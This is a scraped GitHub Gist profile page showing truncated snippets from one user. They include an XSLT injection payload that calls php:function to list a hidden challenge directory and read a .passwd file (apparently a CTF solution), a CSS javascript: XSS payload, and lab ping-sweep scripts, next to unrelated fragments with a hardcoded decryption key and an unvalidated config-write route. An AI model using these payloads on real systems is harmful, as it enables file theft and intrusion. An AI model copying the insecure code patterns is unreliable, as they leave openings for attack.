Skip to content

Instantly share code, notes, and snippets.

View pgharios's full-sized avatar

Patrick Gharios pgharios

View GitHub Profile
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:output method="html"/>
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/challenge/web-serveur/ch50/.6ff3200bee785801f420fba826ffcdee')"/>
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>
BODY{background:url("javascript:alert('XSS')")}
var box = encryption.encrypt(message, nonce, key)
39
40 console.log('encrypted message is:', box.toString());
41 console.log('decrypted message is:', encryption.decrypt(box, nonce, key).toString())
42
43
44 $scope.generateTicket = function() {
45
46 console.log("Generating ticket!");
47 $http.get("http://....:80/gket?tic=0&&data="+box.toString("base64")).then(function (response) {
35 def identifyQR(code)
36 qrKey = "ABCD111"
37 p "Encrypted qrcode #{code}"
38 clearText = AESCrypt.decrypt(code,qrKey)
39 p "Decrypted qrcode #{clearText}"
40 end
41
42 get '/validateQR' do
43 encoded_qrcode = params[:encryptedQR]
44 qrcode = Base64.decode64(encoded_qrcode)
params = {TargetArn: 'arn:aws:sns:us-east-1:.../.....f',MessageStructure: 'json',message: 'hello' }
sns.publish(params);
/var/lib/gems/1.9.1/gems/aws-sdk-core-2.0.34/lib/seahorse/client/param_validator.rb:24:in `validate!': parameter validator found 2 errors: (ArgumentError)
- unexpected value at params[:TargetArn]
- unexpected value at params[:MessageStructure]
#!/bin/bash
for ip in $(seq 1 254);do
ping -c 1 10.11.1.$ip | grep "bytes from" | cut -d" " -f 4 | cut -d":" -f 1 &
done
require 'thread'
semaphore = Mutex.new
threads = []
253.times {
|ip|
threads << Thread.new {
ipCommand = `ping -c 1 10.11.1."#{ip+1}" | grep "bytes from" | cut -d" " -f 4 | cut -d":" -f 1`
Thread.exit if ipCommand == ""
semaphore.synchronize {
threads = []
253.times {
|ip|
threads << Thread.new {
ipCommand = `ping -c 1 10.11.1.#{ip+1}`
$stdout.puts #{ipCommand}
}
}
threads.each { |aThread| aThread.join }
result = client[:'userTable'].find("token" => token).update_one( "$pull" => { "subscribedTo" => topic } )
70 client[:'userTable'].find("token" => token).projection(:arn => 1).each do |document|
71 @subscriberARN = document["arn"]
72 resp = sns.list_subscriptions
73 resp.subscriptions.each do |x|
get '/writeDB' do
targetKey= params[:keyField]
targetValue = params[:valueField]
data = YAML.load_file('/var/www/profiles/current_general_config.yml')
data[targetKey] = targetValue
File.write("/var/www/profiles/current_general_config.yml",YAML.dump(data))